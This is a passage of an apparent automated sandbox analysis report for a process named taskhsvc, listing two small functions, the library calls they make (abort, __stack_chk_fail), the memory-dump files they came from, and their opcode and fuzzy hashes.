                                        APIs
                                          • Part of subcall function 00BE8780: abort.MSVCRT ref: 00BE87D6
                                          • Part of subcall function 00BE8780: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BEA219), ref: 00BE87E9
                                          • Part of subcall function 00C11340: abort.MSVCRT ref: 00C1139A
                                          • Part of subcall function 00C11340: __stack_chk_fail.LIBSSP-0 ref: 00C11595
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF36AB
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID:
                                        • API String ID: 646538096-0
                                        • Opcode ID: 979485d3fef09283a0df45f0c9134c15caf4f9e0c44867d2b98b20f25efada8c
                                        • Instruction ID: 8562e3985f3c5b58613bf6d95fea8ba490d8f0213aa11dc731f93f3d440e048b
                                        • Opcode Fuzzy Hash: 979485d3fef09283a0df45f0c9134c15caf4f9e0c44867d2b98b20f25efada8c
                                        • Instruction Fuzzy Hash: 78D0C970A08509ABCF00BFB0C09247DFBE0EF44304F464899A6529B641DA38A9459A62
                                        Function 00BD3254 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 07eb30b6fdef73345ae097e32987bf08fff93c959a3ea441d2b96465b77daaa8
                                        • Instruction ID: 0448c55ad0069a0e8584f17c9f74ef79b48ed3ba28182df9fb44f2106dd34eaf
                                        • Opcode Fuzzy Hash: 07eb30b6fdef73345ae097e32987bf08fff93c959a3ea441d2b96465b77daaa8
                                        • Instruction Fuzzy Hash: 85B01230E0040457CE00E764D19282DF7E0DB0A708F0754C5E201BF346E130FA15453A